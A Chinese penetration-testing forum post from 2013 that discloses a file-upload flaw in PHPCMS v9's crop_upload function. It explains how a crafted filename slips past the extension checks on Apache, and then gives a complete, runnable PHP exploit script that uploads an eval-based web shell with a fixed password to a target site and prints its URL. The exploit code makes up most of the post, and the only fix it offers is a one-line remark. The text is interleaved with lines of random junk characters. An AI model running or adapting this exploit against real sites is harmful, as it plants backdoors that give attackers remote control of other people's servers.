中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
' X2 \+ G2 w, X* [' C6 z2 ]
2 x) }+ ?# I# j/ i9 e8 O# X8 p
简要描述:
9 y- y% R7 @+ w- v
) R1 B0 \' Z; L: h& v% L5 H
phpcms v9 getshell (apache)
2 ^* m+ A, q, b. I: E; {( C
详细说明:
" T9 @6 m' P$ ^* Y
3 d. H1 y( U/ K+ Z- I
漏洞文件:phpcms\modules\attachment\attachments.php
& J% K3 N. W+ F3 q0 f3 }
% Q8 v, H6 g0 e% ?* O: [
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
$ ^# C9 }7 E% p4 f' S! r F
后缀检测:phpcms\modules\attachment\functions\global.func.php
/ o8 H2 E; U$ z" ~; u/ d8 ]
/ Q- b9 s5 L# j% Z- X6 ~2 Z" D
6 R. s# d' C1 R& Y3 E+ T
1 Q/ B9 A( O. S( S4 o
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
( S7 V* q; L, z5 m/ E
8 i' z. {5 X1 z+ n* |
关键函数:
" k3 D6 E E8 B4 M
, h. U( }4 i7 j, X0 S: M% C
& ^% Y/ u' c- _0 e' \" l; j
) P( V" I6 O: D: S" Y+ J& |
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
4 @) N# v" V' i6 G: D
/ r9 M9 S1 G; O3 d! T, K+ M
Fileext函数是对文件后缀名的提取。
U% S" M! q6 ^6 ~$ d( }
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
' ^- d& _+ R+ {* {2 [/ Q! t
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
5 u$ O7 t R2 w" b ?
我们回到public function crop_upload() 函数中
; [" ]8 g5 t j/ y- {& s& s9 L
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
$ A e/ S/ e# u( u" l, |
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
; i9 g& f7 i; `- S% B) O
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
7 `; z, U+ }+ S
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
" [' t3 ]5 k2 A+ G
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
' z/ q. g; {9 m5 o4 ^/ I
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
1 l6 q: m! W. D3 N
漏洞证明:
7 Y8 C2 E- G. X+ R
0 a9 v- L- s" @4 b. i
exp:
2 g7 ~! {1 w4 Z6 p: }' M
- v4 e, O" }1 e+ V/ G
<?php
7 `& T2 K8 c# L8 m& x2 L" i
error_reporting(E_ERROR);
2 t6 V b3 N$ o
set_time_limit(0);
8 L5 Q+ [( T# d' N
$pass="ln";
O& X# K9 V* Y: _: T9 V! ~2 l; V6 a
print_r('
* G: ~2 m& L" I- |9 j8 B) L
+---------------------------------------------------------------------------+
8 t( O0 B$ L+ q' r3 g' d9 w
PHPCms V9 GETSHELL 0DAY
5 G/ C f [9 ]# Z
code by L.N.
( a3 t1 j. g; w. P3 ^! \
|$ [) D2 Z) f2 J# B3 b9 Y
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
- n9 p% h+ l0 W* T6 k
+---------------------------------------------------------------------------+
4 M) Z8 @8 p5 Q" V7 S
');
+ I- h c# R% M, O* d. _: R2 {
if ($argc < 2) {
- T8 N$ W l- y; Z3 T/ T
print_r('
5 D7 o6 C" v9 U
+---------------------------------------------------------------------------+
* g: u& Y) Q" O) l
Usage: php '.$argv[0].' url path
% A* h" D% B' R( R
/ D8 ^9 \ O" ~' G7 O* }0 Q
Example:
- r# p; [$ e7 T0 \2 v! H! X
1.php '.$argv[0].' lanu.sinaapp.com
/ M& |9 ]& Y/ f+ W4 B6 H' y) h3 }% j
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
* r* g# _5 v7 E/ k
+---------------------------------------------------------------------------+
' Y/ W5 x1 y! g j
');
& l7 D0 i$ D6 A; ]! V+ p
exit;
5 s# q+ d2 O* U% H; S8 s
}
$ r+ g+ Z8 @$ T# f+ o
) o9 ^4 M9 a0 [" o& {6 @8 T
$url = $argv[1];
) P+ E3 z+ w6 v
$path = $argv[2];
7 o! S9 Z" B- D9 i0 K3 B0 Z
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
& _/ |" M9 X3 F- S( A* x a7 L
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
+ {2 O: p( B! B; q7 Q( o, h
if($ret=Create_dir($url,$path))
1 u0 }; }- F# f6 F6 K8 K
{
7 |" e' e0 U( H- v% `4 O1 ^+ @
//echo $ret;
# B) D) u u/ s8 Z
$pattern = "|Server:[^,]+?|U";
. S9 @2 n# n! H. F; i2 d F
preg_match_all($pattern, $ret, $matches);
' o* m$ C: V. f- b
if($matches[0][0])
$ n6 ^4 l; N9 T+ j5 X
{
% T2 o, K$ O! m6 u
if(strpos($matches[0][0],'Apache') == false)
% _/ g' c% @. x* m9 T& ^' @
{
$ q4 Y z3 Q; |! m' v2 z9 O
echo "\n亲!此网站不是apache的网站。\n";exit;
$ g; u/ {! K0 }0 {( L% f
}
! n8 I. ~( A( ]' G' Y
}
5 l' f& ?6 C1 q' R0 Z+ |: O! J
$ret = GetShell($url,$phpshell,$path,$file);
3 O- g; ]2 d( a1 Q% }
$pattern = "|http:\/\/[^,]+?\.,?|U";
$ M2 ^; q0 d2 w. S, t F
preg_match_all($pattern, $ret, $matches);
! j( Z- s4 j, x# m2 f8 T
if($matches[0][0])
2 ?! n j0 L* B7 v6 d. m9 m1 c2 A
{
8 C" i. N; @# s- h
echo "\n".'密码为: '.$pass."\n";
+ t2 w, {0 Q$ ?
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 Y1 p" Y* J; E# F" n
}
3 E7 c: o5 ?0 ~0 i
else
' b" D" r2 P) m7 U- U% Z1 x$ r5 H* E
{
+ V6 T6 H$ X t7 h6 Y* e
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
9 ?* j& T3 G- g! D i
preg_match_all($pattern, $ret, $matches);
6 A& i/ T1 ~* N9 v2 E
if($matches[0][0])
3 X/ C5 U. z/ I' U9 | n& T
{
+ a' B X0 Y- l8 ]" d
echo "\n".'密码为: '.$pass."\n";
0 X2 Y4 y2 w* n) R9 |1 Q
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, c* B% T; u P! u9 U
}
$ f3 L: q+ e# J* L$ S$ m4 p: M) B
else
; }. R/ M% T* n) K. n% r
{
) E. f' N, p$ \" V m* _5 g
echo "\r\n没得到!\n";exit;
( D3 F+ l/ C$ t8 i9 W
}
2 j0 F/ G# s0 E( E
}
" R0 E B% `, o3 n+ y; z
}
8 [* s/ {& G) }! F- X. s
1 z: S/ n0 ~ G( g5 c; E: Z
function GetShell($url,$shell,$path,$js)
( v) v/ R) N6 U' q/ Z
{
9 e6 T% r, }0 V6 `$ H( b: A7 s
$content =$shell;
9 L5 y, ^+ ]! U
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
5 N, q( V7 K; ?& _
$data .= "Host: ".$url."\r\n";
+ P e* O$ Z) A% s
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( ]2 v% Q+ K) b; v9 `5 z
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
2 S7 a! f1 T1 P0 H$ J
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ ? {- t T z; \4 B: l
$data .= "Connection: close\r\n";
0 p% k9 V( l9 M
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$ n& Z/ Q$ r( ?( P9 u
$data .= $content."\r\n";
6 J* o: A% t( c
$ock=fsockopen($url,80);
) _* f9 S9 u* c+ A
if (!$ock)
& a$ a& g4 E0 l3 H2 X
{
2 r1 {1 g8 `6 ?4 r6 P. w2 \/ ~
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" W2 h% z: S0 f: _" p! b
}
) T4 P9 x& C5 |& M- I- k1 y
else
- t8 a8 {" K, o1 {8 S( i4 ?1 d
{
1 L4 T0 Y7 I0 \6 z4 I( T& W
fwrite($ock,$data);
) ?4 B1 _4 G( m: I9 A& t
$resp = '';
: G) \" }1 J+ O! }2 i2 S
while (!feof($ock))
- }; J [9 @4 @4 H$ b% c4 _
{
& D1 x. r% g2 U: t) Z. Q" U8 e, e
$resp.=fread($ock, 1024);
5 |3 s, C& Z8 E# O# ?
}
4 W1 j8 D* g: K: r5 V9 Z
return $resp;
) Q6 k/ C: V( P$ i; c
}
3 J# M' R' u+ \3 O
}
{0 o' p% h, N5 R
, |1 c% W. m4 X- x7 B5 n, m
function Create_dir($url,$path='')
( p* F. @0 g* h- |3 L: R4 x
{
4 D+ b" I: ]7 } a* `! N5 S
$content ='I love you';
6 k2 `% m. I2 `6 ~# ?" V t7 S
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
7 F( h* N4 c( Z& E& o0 w
$data .= "Host: ".$url."\r\n";
2 u" a! H( o0 q+ M5 f
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
; N3 r" T) Q" J' ~ M, G a% a
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
W O: |; T. k m& p
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ E3 J! l; u6 w( j- B
$data .= "Connection: close\r\n";
% ]( R0 e, r, [; ^, V+ b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
7 p( |' G' N: F# ?$ @
$data .= $content."\r\n";
2 ~$ e; x3 q$ n9 s
$ock=fsockopen($url,80);
+ h* k+ [) }. S9 j; p
if (!$ock)
^$ Z7 M4 c4 L( q" i$ d1 A. u+ Y
{
7 [/ {7 k' F* S
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
+ E8 o2 \* |2 O5 M
}
( C' }5 m8 j/ d
fwrite($ock,$data);
2 } ~) @' C" Q1 D6 b
$resp = '';
/ y3 C" K. S: X3 @8 i( J8 @% z
while (!feof($ock))
- }: | B9 K$ f& B+ L
{
0 _- j# Y+ J% d
$resp.=fread($ock, 1024);
& |) h" M) I. M0 O5 P) c/ D W
}
L: _: b3 V! R4 e/ B$ G
return $resp;
7 e) x: O. w3 s# j+ t B
}
* {; }0 x7 O! I/ }" `
?>
0 {" k! r/ a) m
, Q" o6 m0 O( S5 a- ]
修复方案:
/ z2 x/ |# Y: R0 H
8 ^, h7 O( U9 y. n( q
过滤过滤再过滤
: e# g$ O! x8 ]% K" E$ d9 k. ]
" W; A3 N' N; A
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2